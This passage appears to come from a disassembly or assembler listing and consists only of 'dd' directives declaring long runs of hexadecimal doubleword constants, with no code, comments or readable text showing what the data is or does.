20BAA351h dd 2F15D05h, 58814AF4h, 90CDB645h, 7A143686h, 8A766893h dd 98675500h, 12F8122h, 0F1E60EEBh, 780090AEh, 51E5603Ch dd 33957300h, 5C79E39Ch, 8F1007Ch, 40424D0Ah, 7DF4D272h dd 1D808D00h, 0BD75EA22h, 7E6E005Dh, 3C898761h, 0EF00F771h dd 818F4856h, 9068E7F4h, 97F872h, 8CA96147h, 0CC86242Dh dd 0E321B460h, 7585D6DCh, 107B0029h, 0B8EF7A04h, 0FBE6FE1Fh dd 0F552AC00h, 4FDAA78Dh, 9C2250BDh, 871F2C7Bh, 37A50075h dd 0E2B3DD9Ch, 588C1200h, 614026AEh, 0E3E41D4Fh, 18F1D722h dd 940D812Ah, 0BCBEF302h, 8331EF41h, 8008C9BAh, 45C782h dd 12247404h, 7F9558Bh, 8D14C500h, 5DC371B1h, 66860064h dd 75A26DB4h, 0A438CE4Fh, 6BB88713h, 0B9703129h, 942ED7h dd 2D0635Ah, 9A809E19h, 0D6015090h, 28DCAE4Bh, 0ADC8EA24h dd 6A5B0012h, 0C5D7D19Fh, 23E5839h, 3F4E008Fh, 0EE9A3B4Dh dd 0A6EC0ED0h, 89E19D23h, 702225E4h, 0D81ED7DCh, 24440329h dd 0AC806EDCh, 98EE99h, 273F47FEh, 732BC36Dh, 1E941400h dd 638ABEDh, 812514A0h, 931FA4E4h, 5850EDFh, 0D745C5C0h dd 3D003C7Eh, 0B29EA06Ch, 72FCE834h, 79D00CFh, 2159A98Dh dd 5200BDF4h, 0B757398Eh, 50F678h, 7D4F7C3Fh, 0A49DF710h dd 71497300h, 0CBC5A41h, 76A73C64h, 8015989Fh, 4C7E4039h dd 0FAFC9DA0h, 4E91DB00h, 0F780BB2Fh, 0D9D40059h, 5B01A54Bh dd 0F600A256h, 0DFA07791h, 24ECB342h, 80A0BE41h, 0E9116267h dd 5A00CE3Fh, 25C7C00Fh, 6CED13h, 45431ED2h, 0A25E44D1h dd 973E7E01h, 8C91369Dh, 3049E3E4h, 1F142E64h, 0DE0057FBh dd 170F82D7h, 3089F1h, 0FC4B6865h, 0BB1A42C2h, 580E0176h dd 4A3517F2h, 2103A0B6h, 8F64F8h, 0F071AC91h, 0FEF5912Dh dd 1C8ABE18h, 0FF1E4C18h, 0CF2C10E0h, 5C602E11h, 23639B82h dd 3F13A201h, 45D97825h, 606E17C4h, 47F488B7h, 1454EFABh dd 80C7FED8h, 0FBC711DDh, 8BB46DC0h, 0BCC0091h, 0BAE7149Fh dd 0F600B933h, 25DB4EC8h, 50154396h, 7395856h, 3F11EFE3h dd 563C550h, 7F0470Ch, 0B04E1264h, 0D3F3ED4Ah, 17D82700h dd 1D2FE252h, 319F0370h, 95870A72h, 0F0B1C8C8h, 6F625B00h dd 5EE1CEBAh, 0AEFC00BFh, 0AA7FDC37h, 50006392h, 951191FEh dd 0EE77D5h, 372EFA1h, 663DB40Bh, 47F8A400h, 0CFB22033h dd 0A9DE07F0h, 1EC44613h, 0C2F79200h, 2074EB5Fh, 0EEF0180h dd 0ED97CF1h, 13078FE9h, 21454692h, 0F1F7E201h, 0CE47B3EAh dd 3FE5DCh, 993C3E04h, 0FBA694ACh, 0BCAE9E28h, 4C321418h dd 48216D18h, 844414F2h, 810807F3h, 73D64D4Eh, 93014B2h dd 115321BDh, 13C40081h dd 745FEAA1h, 64193CBCh, 0D2502060h, 0A0F5220h, 0B71613AFh dd 0D7517B4h, 0E3203830h, 0BF4E4906h, 890B12Ah, 58447C5Dh dd 0D3A70C3Eh, 605F1889h, 5EB8319Eh, 9B007864h, 45A6ADE3h dd 18447E6h, 5D7E25E7h, 42F4A21Ch, 730F168h, 4D491181h dd 1A29FFEh, 9C811056h, 602B4C6Ah, 0DC7C1915h, 0BC6DA0Ch dd 3988F8h, 0E465EEEFh, 8FA32F70h, 1F3B7A71h, 0DF6880A2h dd 775AD5B1h, 0D7B40099h, 936D42E8h, 7F0F54D9h, 0E9D5946h dd 0F35A078Ah, 0F6A64580h, 158312CDh, 80CB1E72h, 2A12D732h dd 4A1F98F8h, 0FF00B4C2h, 221A06F7h, 8EB100DBh, 0CF635FEBh dd 520FE8ACh, 80E0DF8Ch, 1EB2553Ah, 6B870070h, 0AFA81B14h dd 37001FFBh, 61B44FCAh, 57336Eh, 0F988235Ch, 31503902h dd 75170E77h, 7E0B8CECh, 15E3801Bh, 0E95A02C4h, 0E1CB1080h dd 50E0C614h, 0E88F3607h, 0C74635D8h, 9C9B1D68h, 5CD440C9h dd 74DAA2D6h, 0BCF2A114h, 5E361889h, 0D5098h, 8CEA0628h dd 3F76A22Eh, 14018DBh, 56248DB0h, 819262F2h, 989AAD18h dd 0D3D54Ch, 19D0FB20h, 0BF9652C7h, 0CE66187Eh, 210308h dd 3C19C9D8h, 0FA71DE91h, 78005877h, 0CC32FBC6h, 3D3FD065h dd 0BC8CCB59h, 7479138Eh, 0F657B800h, 606E9DADh, 895669Eh dd 0D7012106h, 298A57A0h, 7FC0EBBh, 38DD3BE8h, 794C868h dd 5C9CFE16h, 5400D210h, 0E4851F2Ch, 0E0B259Bh, 65025987h dd 0D3079740h, 0B9005C11h, 91782C80h, 7D5DEB4Ch, 71F815h dd 54743623h, 6664DD7Ah, 5100D7E8h, 53FACBE8h, 3BD1602Ah dd 39004159h, 0ACA51146h, 0D200D434h, 74DE2CE7h, 78DA8Ch dd 41536875h, 0D4F299C8h, 3C372707h, 0A0F9B424h, 66FA8AE9h dd 0F26700F7h, 4E09F9BEh, 3C580D38h, 39480073h, 5CA84154h dd 82790015h, 65191F3h, 0AE00ECA5h, 384D2E2Dh, 0FED35619h dd 0E5B83F61h, 12CE3580h, 5FF2B23Bh, 409D7F00h, 0DD2332Bh dd 0C7F9029h, 3EF37158h, 0B801E561h, 4275301Bh, 0B08138F1h dd 37281F16h, 0D152F0D5h, 1CF17060h, 0E653140h, 22D02784h dd 1147FBA3h, 0C5BBB480h, 0DA297260h, 1D9A250h, 0E626C0DBh dd 0CCFBDF6Ch, 0CE0742B0h, 44D4BA86h, 6400B53h, 0C6105430h dd 2CF0903Dh, 69652906h, 18105506h, 3038B685h, 0E607C4DAh dd 0A6D0743Ah, 3252201Fh, 5A6318h, 20813CF1h, 41AA96Dh dd 88780200h, 0AF91921Dh, 0D0DE0132h, 0D7CFE94h, 50A5FC93h dd 97ADD301h, 455F9DDFh, 0A224ECh, 7C07CC37h, 0F1DBDDA7h dd 55D68B1Eh, 8E1862CFh, 0C8EEA386h, 952000EAh, 0D35D1720h dd 0A2333808h, 0B81E18DBh, 389B0743h, 1B072655h, 4076DE62h dd 3FAB83FCh, 85ADAA00h, 0A170D89Fh, 504300C1h, 5A93F035h dd 7B0601CFh, 0DA5638E8h, 55FD0050h, 0D51B5B4Bh, 3F18772Fh dd 0F6C0CFC4h, 0E7C9C00Ah, 0A671517Fh, 2B324700h, 0E842C736h dd 0D9DD399Ah, 18EF8A1Fh, 43F750D3h, 29A4D20Eh, 0B662230Ah dd 0B76FB055h, 76C50C81h, 5661D941h, 0BC177D00h, 82240E4Fh dd 300F0304h, 9C8CC403h, 45CF7803h, 0C641AA3Ah, 2A9000D0h dd 2806D563h, 48C9D44Bh, 98680E9Ah, 17E8720h, 0FF363079h dd 0E08BDFE8h, 730032B9h, 58164BFEh, 2D63CDh, 65790408h dd 70D63CC9h, 0EE091F18h, 0C0164609h, 0C9671920h, 5A00C67Bh dd 0C3F21CEAh, 7F79B27Fh, 41F43074h, 1A9C9328h, 3B0661F4h dd 8B967FF1h, 8059E220h, 0A6FE705h, 0EF750150h, 20BB84C6h dd 791E500h, 3B85FF1h, 2F60C1FEh, 0CA617629h, 57941306h dd 3FF907E9h, 212E46EAh, 0CA5A6D00h, 1B3653C7h, 7CD8F351h dd 0D26F008Bh, 71732997h, 0AB003FFEh, 0C8888DCEh, 0C17CB34Fh dd 0B1644E78h, 53A18205h, 8017213Fh, 0B8941190h, 287D609Bh dd 4FC95932h, 10764730h, 0E2379C91h, 0B4B60ED1h, 50003045h dd 0DDFDCD2Bh, 7CEACA1Ch, 0C5B84F00h, 0AFEE91h, 29679531h dd 9B2DB90Eh, 7E375900h, 7B9FEDFDh, 1955005Ch, 7D7020Fh dd 8E006EC4h, 50E70184h, 79910C26h, 0F01903Ah, 3C649BA3h dd 0A053B2A7h, 84DDE616h, 0F818BC00h, 159E3D5Bh, 39A700A6h dd 0A14C60BEh, 0A268D1D9h, 79780410h, 10A0606Eh, 3048F9E2h dd 9B496600h, 1F198D63h, 0FD393E89h, 0F1033580h, 6CB37B80h dd 0C009BF2h, 0BE622B10h, 0F26EC2h, 0A908ED1Bh, 9413260Ah dd 9A8FDD00h, 0A8A4494Ah, 7C5200E2h, 1BE050AFh, 9200BDDFh dd 95ACD730h, 0F94233h, 0AB12E66Dh, 64F7C1C9h, 0B272E50Eh dd 88C301B0h, 41CC842Ch, 0CB6D00FFh, 3CEB4B9h, 0F30065E6h dd 2E92BA58h, 9852EE01h, 98900D0h, 0A9D9E83Dh, 0C500A788h dd 0D115931Ah, 0C94EFEh, 7DE2585Ch, 441D4B5Ah, 0B407F000h dd 0CF09E680h, 26BF07EBh, 60B32094h, 86F0E023h, 0DE006AE2h dd 75A90943h, 1CD33348h, 406CE3F6h, 67B7ADBEh, 0F03AC06h dd 8F1C6E55h, 0A8AAF8EBh, 7210C054h, 0AD8E2C9Fh, 0C97A3Bh dd 0DFCB5771h, 38A3976h, 796760BDh, 0D8C0B5BEh, 2B05A107h dd 0BF4DAC6Dh, 0CD9FD007h, 0F0A3E323h, 0DB78EDh, 994B88F8h dd 0A51BF4BCh, 122C281Eh, 2B170FC5h, 72F78B80h, 0AB7266h dd 8090C46Ch, 0C132C52Eh, 8C5C0A39h, 68DA7C4Fh, 0BA50482h dd 8848903Ch, 511E3710h, 8700014Ah, 0DAD0AC44h, 776500EFh dd 0BB28891h, 1900022Eh, 44B676A3h, 1B667Fh, 8485DE36h dd 4645BC24h, 15C6B2C0h, 1DC9195Dh, 0C0116B90h, 0DBB48628h dd 931E979Ch, 8180D8F6h, 664C45FAh, 0EAAB0033h, 37DF3018h dd 0C3004FE1h, 0EC2AAE76h, 1BD6451h, 0A5BF1CCCh, 0BDB7A838h dd 0C2790F91h, 850580D7h, 0E65E81B5h, 21030054h, 7D4EE28Bh dd 9A013F97h, 0E444EC79h, 0C9DC2AA6h, 88FB495Eh, 6E8F2E3Eh dd 72EEADE9h, 6B34CD60h, 0EA004F51h, 16DA18C2h, 0EAE1688Ch dd 0FEFC00CEh, 3D6354D9h, 23E493F3h, 0DE11E401h, 640E58C5h dd 45BEE0h, 5273F08Ch, 93BB8AA6h, 4A573500h, 95F917F7h dd 0EFCF0038h, 0F126DB97h, 240A5DC4h, 0C4E88CF3h, 4F50AB80h dd 0A91F0Bh, 0A0D27579h, 974C7A4Ah, 1C000979h, 0BC5E4195h dd 7FE4D0h, 30E27844h, 13B81714h, 0DA2C7500h, 6728BA02h dd 32BF0339h, 0D20FF127h, 417D74C1h, 0C01089DCh, 0E800CBCFh dd 0DA4724EEh, 7079B28h, 7C231CC5h, 807CB79h, 0B91120C2h dd 249AD003h, 0DE229E00h, 0E43894C0h, 0CA981EFAh, 99EC815Fh dd 418035EBh, 0E8CB89D0h, 4D0008BDh, 0A6433CA9h, 3FD5F0FBh dd 0E0EB5E5h, 0C8C05DB1h, 0B91D8C3Bh, 7A211301h, 31F1BDF4h dd 3A8D080h, 0BFDE245h, 1553BA01h, 99586E21h, 3E2C20D0h dd 75802B23h, 0EA5C8702h, 0C35C8BD7h, 1BF27C7Eh, 79E90924h dd 445A0300h, 0FC3302h, 4D7A9149h, 8583F9E1h, 0D46E5E1Ch dd 0AFDB007Bh, 6916FDDDh, 5AE20056h, 45582865h, 860070EDh dd 948E9E08h, 4A52C3h, 0A43CE6A7h, 2AF96A43h, 22DA3A00h dd 618817E9h, 0D3DD3CDEh, 0BCA55684h, 9BEC20Eh, 0FCD8D868h dd 15691800h, 0F1D37386h, 0D2FAFFh, 0EF124A44h, 68CCA5CDh dd 9FBB5600h, 0CF282F10h, 0A974004Ch, 0DC2A766Eh, 0BA630775h dd 0E0D68210h, 1C966249h, 8023D54Fh, 31D3B539h, 4005E09Bh dd 0A56EBE3Eh, 46CFC7C0h, 585D4C8Dh, 0EEACD103h, 20B7DCF9h dd 5B154E4Bh, 0F0D00D03h, 93437E3Fh, 2533D8D6h, 0F1570E8Ah dd 0A8E004E1h, 89926594h, 0C49E5E00h, 0FA068B67h, 0ACA549F4h dd 9D689400h, 71242B56h dd 5F3EB0Fh, 4D88E0FEh, 397804EEh, 707887DAh, 775E3C32h dd 10CBE718h, 9100C4BBh, 0A6ADC34Ch, 7BFB102Ch, 0ACA44CD0h dd 90268B00h, 0BDF02E27h, 362DAB09h, 0B84C03D2h, 217DA0C0h dd 7943249Ch, 381000A1h, 0E1BC2975h, 1EDD3200h, 1A74A807h dd 64570769h, 507D0118h, 0A42826Ah, 8417AC39h, 918B2D8Fh dd 6E50EA80h, 1D4500C7h, 2F032C60h, 5E0346A5h, 0D6079801h dd 5554B059h, 0ED4C011Dh, 6A841CD2h, 8DE9DC9Fh, 1E9E6C00h dd 0C275A5E5h, 0F97C0073h, 4E5FF597h, 1700B971h, 9F1DB640h dd 0B05D18h, 9113DB9Dh, 0FB3715BFh, 0D77ED301h, 0E9D959D2h dd 0FDC014F1h, 2F90000Ch, 47C40D73h, 1011A5Ah, 5586E39Dh dd 7BF48221h, 49C500B4h, 0C20D4076h, 41019B89h, 68CB014Bh dd 83F0D258h, 0D81A034Ah, 0E825270Bh, 0E6405DCAh, 2400E5F0h dd 0F16AF995h, 8F3309h, 5023C9B3h, 42DA6EB6h, 0C6FD461Ch dd 0BF009028h, 0C0BD09C8h, 0A09066h, 0C2EE7A62h, 0B240A8E5h dd 85037100h, 0ACD8DECEh, 0D9AD010Ah, 7EAF0DBCh, 46DCFC60h dd 9E0E927Ch, 0EB6150h, 97A41587h, 626800B5h, 0C1447210h dd 2B00B7B9h, 9CDC18FEh, 0B8B3C835h, 9EC02C40h, 61CA0778h dd 96809026h, 0C72456A3h, 386C29h, 5EFDF863h, 31F4D7h dd 0D93FC5FEh, 29CD4B36h, 4889F300h, 1D3C28D2h, 59E660F1h dd 7E6A8155h, 0BE03C900h, 67472B31h, 0CC35801h, 5D8F2F07h dd 0E29680E4h, 0BA4D10DEh, 0C11F01E0h, 9231EC82h, 24558430h dd 1C086F80h, 0B7FF4050h, 35992B7Dh, 800E403Fh, 30B29CCEh dd 0E77F8D3h, 2F324A89h, 968A360h, 0BB05D9F6h, 1A2C4DE8h dd 0DA67C4C0h, 5DBA00D2h, 0A04729E3h, 5200E903h, 9301C25Ch dd 27E202h, 6D132D92h, 42433DD1h, 0BC038073h, 6A20F221h dd 0C870975Bh, 155CCBh, 0A1C324C7h, 9ABAFCDDh, 0C201C8DDh dd 4F98FFA5h, 0FAA119Eh, 0E998E322h, 0CB00AD75h, 0CDDB2EFEh dd 0E67974DFh, 9D6F316Dh, 4DC58258h, 48E0E318h, 2800D8F8h dd 1FEAA313h, 4D9B3DEBh, 21141CABh, 4307188Ah, 4055C8FEh dd 3D71CB77h, 79148650h, 6BFEA27Eh, 4B07BB02h, 60A0F2B0h dd 6AC1610h, 9411B356h, 0BE0798CDh, 0A6DE6C54h, 0F60DAF00h dd 15FA79h, 0B7F1A8A2h, 40414FDCh, 43FCA170h, 5C296500h dd 0BFE3FC56h, 7A700366h, 3D388291h, 0A287C7A0h, 0EC39F506h dd 1391A979h, 67757C2h, 0F8A34C39h, 85081B66h, 6FE40021h dd 0C8287B77h, 3704F74Dh, 9646F399h, 75602741h, 7DFFCB1h dd 49582290h, 1CC73CF1h, 14AD18Fh, 9E808CB8h, 76437DE8h dd 0DDC80C0Dh, 0A508063Ch, 0DFFD21C0h, 706A7Dh, 3D876636h dd 0D24ADB7Ch, 5F64800Ch, 3F1695Dh, 0BB39A4DCh, 4192528Ah dd 0BD24AA40h, 0F7BE49C0h, 0B1171BA4h, 0C5B100FCh, 0D859409Ch dd 50C23D0Ch, 0B2A908E8h, 31B06Ch, 879B769Ch, 0A179D56Ch dd 8ACDE1C0h, 92ABCEh, 9C82E19Fh, 2B4E5366h, 0AEA7DC00h dd 864358A1h, 56C7007Eh, 5EF50193h, 0AF0A69C0h, 84C8B98Dh dd 0E980D291h, 575567Dh, 0FEAB448Ch, 0FD7DE000h, 0B39CCC3Eh dd 0BB19C3B7h, 0BD888092h, 213505D2h, 68C08052h, 0B9697Bh dd 6EC447A3h, 0FB7AC178h, 23135400h, 0E103B197h, 93791D6Ch dd 0FF3A0165h, 0C8B02496h, 0B40073EFh, 2686C0D2h, 0C47F03h dd 91D8C6A0h, 435B5201h, 71E09900h, 0DE538845h, 7C8D76D9h dd 0D70707B8h, 0E335100Ch, 0B3A8850Eh, 9100694Ch, 88460223h dd 3AD50931h, 423C4926h, 60BB7300h, 6987C696h, 0AFDEAB18h dd 0C1086708h, 60951820h, 0DCD2D113h, 0EB7B52C9h, 0D983FD00h dd 56748F75h, 0CF4F03BEh, 45346790h, 0F353591Dh, 56BBA286h dd 226900A9h, 38DE3E6Ch, 0D61D4F73h, 6A0C7208h, 1AF2044h dd 58896BD3h, 83EFC1BCh, 85E0C6B9h, 0BE684C98h, 3E678326h dd 2718C862h, 1160AE18h, 889FC6A7h, 0C0058064h, 26B53760h dd 0DD54620Fh, 5374A04Fh, 0D1DB1Ch, 0D543B765h, 7B87E90h dd 2BA62600h, 0F25FE3A4h, 1941008Fh, 0C9D789F1h, 8106F9AEh dd 4948B326h, 0A46000A2h, 75AC9A41h, 9900B128h, 9476544Ah dd 3566D55h, 74F62CDBh, 0C1C06AB0h, 7130C778h, 769148DDh dd 0BC50C0DBh, 0F5DACA28h, 0D887150Bh, 8A1802E0h, 37D44038h dd 1D697960h, 0C34C4A3Ah, 793004BCh, 2C535001h, 75812544h dd 0DCC46180h, 7A3A6A5Dh, 31453822h, 0F90879E0h, 54964040h dd 0D400244Fh, 1531F625h, 6514DCh, 97F7E237h, 0CD037677h dd 7CC26F06h, 18F9A8A4h, 498341BBh, 8DF2E99h, 9AD6F700h dd 2CE9E7CBh, 0F69F78h, 746050Bh, 9300733Bh, 18BABF82h dd 0ED36C8h, 8716AD1Eh, 0E65CB968h, 0B44B401Ch, 144F3201h dd 0D3D40A78h, 21C03CA3h, 0D93EB980h, 0BD7244B7h, 740F3D74h dd 8CC4AC10h, 77E718CAh, 944105A2h, 0F48A5A6h, 0B0D210h dd 42C51C13h, 41B5BD7Ch, 36F3FC4Ch, 0CAA9740h, 736B19A6h dd 6E20D318h, 175D06CBh, 41181FE3h, 7E887300h, 0AFF3A697h dd 74A27F36h, 177030B0h, 8FA15920h, 0F2348600h, 71AA523Fh dd 3B13F8C4h, 0B81C54ABh, 17A88012h, 1C812325h, 0CED2E900h dd 2F4227D7h, 1700F2Ah, 9EE02D6Fh, 0EAC4EC4Ch, 69B26100h dd 348FB3C0h, 9B5612B5h, 31E03FFh, 2A86736h, 771F7921h dd 0FEC16FB4h, 0ED237411h, 85A1C8h, 8DD6C4C7h, 76DE40EFh dd 0B8DF5E07h, 8F90D2D9h, 7AEC8B12h, 0CD9F0F19h, 81637D31h dd 0A0FF34FDh, 0C3DD508h, 5A61E20Fh, 52B2007Ch, 30E00BE1h dd 0F458D90Dh, 60C30A44h, 80E889D8h, 6B2126h, 9BA19180h dd 354D7683h, 0F6175A04h, 0D0C0C551h, 599AD7h, 0DDCB4A6Ch dd 3B5A8AC3h, 7297D500h, 5CE07F91h, 48DF32h, 3D74DB0Ah dd 0EA1A0BC4h, 0C078D8DFh, 9EA347h, 0B5912013h, 0EA4C83FBh dd 28D9B930h, 1E1D43BDh, 307434CDh, 0B331ADA1h, 0F100E7E2h dd 486152AAh, 0DF8367h, 50EAAC43h, 8A1CEBBh, 5E72C6ECh dd 6CC7A400h, 0E83EFCF5h, 9F41CFFh, 2DFDC0A5h, 0AAD58BEAh dd 939F4301h, 39560A24h, 89DD0h, 0EB853CACh, 10C3BDEh dd 41C0DF0Fh, 60D8EC7Ah, 0D75B00E6h, 0E8F4804Eh, 0F000DC8Bh dd 1C9948C3h, 0EFA97840h, 5B8028BEh, 0B7048F13h, 37059C25h dd 1D299D3Ah, 0F89EFEC0h, 71280743h, 0EF754E5Eh, 41AAAD81h dd 3EF0E0CEh, 0B0BD1301h, 0E9CD1B53h, 31F81980h, 0FAAE3F92h dd 73062600h, 697A803Dh, 0D20B0039h, 0DE8719D0h, 0E6000F4Ch dd 8FE8A1C0h, 90C423F4h, 6EBEE9Ch, 50E5AA71h, 800200Dh dd 0EFC413Bh, 3754AEh, 0E8F1F22Fh, 43EC69C3h, 38BD0C30h dd 5052C5E2h, 76C08054h, 40DD0673h, 0F1EDB3E5h, 87514400h dd 81A558DAh, 3AF8E6h, 6DAB6105h, 189FEAC9h, 2A40650Eh dd 9D6C045h, 60E98ED2h, 8F8988D5h, 743D7968h, 4DF080F4h dd 0E3067BB5h, 86F2005Ch, 0CC28671Dh, 0D4009EACh, 0DA9606Ch dd 8D940h, 0DB3C69D3h, 0E259A67Bh, 7225DA48h, 4BBDEE01h dd 9882E0B5h, 60E83AECh, 4EA15841h, 2E7DEA8Ch, 0BA71FA0Bh dd 0F2B207AAh, 6328ACB6h, 0F4E51653h, 481C2000h, 61DD28C0h dd 0ACF8141Ah, 0B11EA12Fh, 0C7620064h, 79CBC33Ah, 0B900DD72h dd 0EA95656Ch, 7F680E6h, 0F77FD657h, 0FF2C7055h, 0F916E83Fh dd 2501F8F2h, 2BF1B1C9h, 6846EDCh, 0BF424A72h, 0AF006859h dd 4EE65552h, 1E4871A2h, 6661DCBh, 10708646h, 7F65A61Bh dd 44E910D0h, 42D90095h dd 41B41449h, 2A813A5Ch, 23BA6C00h, 9FC12E69h, 0F58FA07h dd 34703362h, 1DCBB46h, 0DB7C75FCh, 0E8835F52h, 3C002379h dd 0BB8A9AB4h, 0C7AE8FF8h, 60012E38h, 77A60555h, 0BC607E18h dd 729F7918h, 304A0071h, 59BBB544h, 0B300A4A7h, 6F6E02FFh dd 17E631h, 85D3FEC1h, 0E0D21EC4h, 82909F00h, 0CC71953Bh dd 5540F21h, 6C80DB66h, 0F2EAE81Fh, 26C50C0Bh, 27E1808Bh dd 1EF5FC0h, 4897B616h, 0E8F11386h, 820CD810h, 91AD45EDh dd 0D9640FF5h, 0CD00A41Ch, 2E9C0302h, 0E05BF400h, 97921D55h dd 0B1A20013h, 0A0C38FEh, 0A00E3DFDh, 80282D78h, 0D1F0675Fh dd 183F67B5h, 9296136Ah, 31A4FEE0h, 3A407B00h, 99EB66DBh dd 647C48h, 0E58A0A3Dh, 90B18E49h, 57B27301h, 6D1DB734h dd 812BF8h, 1A30D8E7h, 0DB4475FBh, 0FF4EE304h, 61A4B12h dd 0F879E961h, 0DB0041FBh, 0D13473A8h, 0A3BFBDh, 0F8F5B8Eh dd 0BAFB6048h, 40C35100h, 7F8D5F3Dh, 50EC3E9Ch, 8610D03h dd 0C80C3833h, 0A125F6FEh, 1478392Ah, 2E5619E0h, 8F30FF19h dd 0E62810E2h, 0A028C06Ah, 0CCB9F6E4h, 0B5D8480Dh, 0DDF020F9h dd 0E7511E22h, 140C80CBh, 34DFE560h, 2646F0C1h, 3FC86257h dd 0F3710FBAh, 0EE80EC16h, 362263CAh, 0EB7A5606h, 29802B1Dh dd 824BF50h, 3F01473Ah, 0D80878E6h, 0FE3397F7h, 81301822h dd 2DB894Bh, 49431F36h, 0E00487B0h, 0A1136278h, 0E8004FF8h dd 924D5EA4h, 4C96B994h, 17C4138h, 4816E6DFh, 0F8AADCA2h dd 0EC00997Dh, 5A58BD2Ah, 49A6CFh, 38F11178h, 6F7A64E6h dd 651EE0Fh, 0A9582068h, 72C45C93h, 0C7700348h, 0B8DE9EDDh dd 0D0CAB7C8h, 66203403h, 0D8289F6Dh, 0A5AC69h, 0DDFC8EC0h dd 50382503h, 0E0559C0Eh, 0E4AE037Ch, 0DA1803CBh, 0FD94E1EBh dd 0A94ECA7h, 0A3B4B900h, 3AA0A9A1h, 0A29A000Bh, 49FED9FFh dd 860060E4h, 0E9695B1Eh, 387D3F23h, 779E504h, 0FDC4FB91h dd 0CA67F3BCh, 4D4362E8h, 985AF401h, 4C659C94h, 0CCA8DCh dd 0DCA50313h, 8B84537Dh, 0C567E02Eh, 99DD5D00h, 4E4B63B6h dd 0A205C0C2h, 1274DF29h, 8AF09A00h, 871731F5h, 92EB00F3h dd 4F801196h, 0C8A26826h, 0E54AA000h, 1B00C8F8h, 0C12CFA7Ch dd 0B9C959h, 89C52395h, 0A80D465Fh, 0E5AB2E00h, 8552FE60h dd 22C800EFh, 0CCC4273Eh, 1EC68DCh, 49F1AA00h, 0C5F0909Ch dd 0B0081D94h, 54D7C28Fh, 44925E8h, 0F7AFD859h, 4DE5DA00h dd 7915AEABh, 0B5C50035h, 0CCA98223h, 0B705F9B6h, 0EB91769Ch dd 57E5B800h, 916B0EDh, 0EC80279Fh, 994C2C22h, 40AA2084h dd 0BC0A6C11h, 0F022005Ah, 2B7B47B4h, 0AA006F8Ah, 0D160E239h dd 0E7B164h, 0D014A35Bh, 0B8255AC8h, 46C31B00h, 38F2E929h dd 71FFFA49h, 2721C03Dh, 7B5DB1BAh, 6041DF00h, 0FBACBCEDh dd 286200BEh, 0D352B8C2h, 6EC1977h, 0D9783900h, 0D291AC2Eh dd 0F1E21D79h, 0FD14805Ah, 6DBE9A9Dh, 0E3A4A600h, 0BCC2BBB7h dd 9FEE0330h, 0E5E66720h, 101EEAABh, 1A007F9Ch, 0ACC64BD3h dd 7414EA77h, 35A900BCh, 0F77E117Bh, 0DB26C4E0h, 5C0013DDh dd 0BE29C28Ah, 0BB571E8Bh, 0DAC500B3h, 27DD2012h, 0E3945900h dd 8B0169A2h, 0B25A241Ch, 981F0108h, 20F8E0B3h, 0D248E39Ch dd 0D8DC007Ch, 1F76CBD9h, 939002Ch, 3BB2E951h, 581C9AF2h dd 0F7537CBBh, 0AD471840h, 0EB1D5Eh, 2A18839Eh, 2910A9FFh dd 0A3D7C100h, 1C3B11F1h, 6A8B0075h, 702BB9B5h, 700D45Fh dd 0C9BDAB57h, 10EE3Fh, 0AF033EAh, 2FCA219Ah, 95FDAD24h dd 0C81F6A0Ch, 0DAE60610h, 0A8E1163Ch, 85DF2F0Ch, 82704Ah dd 0D666CC35h, 0B96FD717h, 9A10AA00h, 9DD86101h, 0CCE41CF4h dd 6D440C5h, 37A48E04h, 0FFFBA000h, 8A196903h, 0AD7900D6h dd 6669ABCh, 6C00F992h, 7F37C31Ah, 0E12636Fh, 0D48E57A3h dd 0FA2E3500h, 7C0E0165h, 0A0D67B06h, 0FFDE33Bh, 0BBEE0708h dd 206954C6h, 0B534907Ch, 6CD8FF00h, 4A064FB6h, 0A36D043Ah dd 80FBABC0h, 3BCD2B6Ch, 0F400EE71h, 981AF89Fh, 7279A92h dd 25132203h, 0DD64C324h, 0CC5ABBE9h, 1D00B31Ch, 42F5D7BFh dd 3D218Dh, 7A13D826h, 22F67B5h, 0BB275E00h, 849F98DFh dd 4D8EBAAh, 7E4F074Bh, 0A0E26333h, 0EEB274FCh, 0A19F700h dd 0BB1CEBDBh, 3C93EEE5h, 1D839B35h, 6BA6CC04h, 8AD571F8h dd 47F24800h, 3C06EE45h, 0A2DE0FA0h, 3DE118F0h, 0FEA5405Ah dd 70E2D381h, 0DE23C0DFh, 0E4502501h, 0BE1D6427h, 0ECCC5171h dd 0E7CD393Fh, 79FDD80h, 0F3750833h, 0F5B1100h, 0A3EB6DD4h dd 93360018h, 1BF2DDEFh, 0B70E1656h, 0AED9CA31h, 0C09DEE5Dh dd 4457CFF1h, 945804CBh, 88492609h, 6730324Ch, 5B8AF8D0h dd 6C01004Dh, 0AF31C80Fh, 6011317h, 9F841C83h, 0C850A59Dh dd 2BCD24h, 3FC1305Dh, 0F084CBEh, 7B00E9F2h, 3B61B6C0h dd 5986B03Ah, 4A3D1019h, 0BA55DC80h, 6AAB289Eh, 2F0F2500h dd 0CC302A97h, 0BD5C396Dh, 0F88C9880h, 0A9E79A01h, 24DE3800h dd 0DB6958F5h, 0BBFD1260h, 0CDAC0030h, 7938989Eh, 46B7AF04h dd 0D090D4A6h, 0EC7DFBEAh, 7E660073h, 0DADB21A0h, 281D8C72h dd 0D7DCB0A5h, 6B992C19h, 35637E8h, 0D23BAEBAh, 31C87B4Ch dd 14000E05h, 9888D72Eh, 4AC201h, 0DDD81645h, 12B4E494h dd 1E26BE0Eh, 0AB7DE0A5h, 7458479h, 4F9BB1A7h, 6B714134h dd 77CC34D6h, 0E1F9C00h, 0D0C766CFh, 7C800090h, 2793D42Dh dd 0D91C8684h, 0E0815AB0h, 0BE6F8D73h, 1DAAC4h, 0A0708FE6h dd 0EED15B1Ah, 0F8494C00h, 0A268DE61h, 0F9C86FAAh, 47D8861Fh dd 7D0BD8E2h, 236140EDh, 0B02DFD44h, 0EB13993h, 9FE26942h dd 0C0E85B65h, 9B8A2440h, 0CB7670EBh, 18787E0Eh, 26DA2053h dd 48F8D0D4h, 0B10078ECh, 0B02749B4h, 0E0F2443Fh, 0CC3B48h dd 0AB518DF4h, 53C092h, 0A647437Ch, 2C48C167h, 26E3613Ah dd 506EB0E5h, 6D0BBCA8h, 27429Ah, 0EF6A1960h, 4F47FC0Eh dd 1225A812h, 8901h, 0B4729A70h, 74FF1D4Bh, 2A6D422Eh dd 0E48032D2h, 0E7F4EDA1h, 0A9817200h, 16C83085h, 900426C3h dd 875A125Bh, 477C10B8h, 6304A225h, 823216C2h, 20B71091h dd 4C08BDD4h, 1C0E093h, 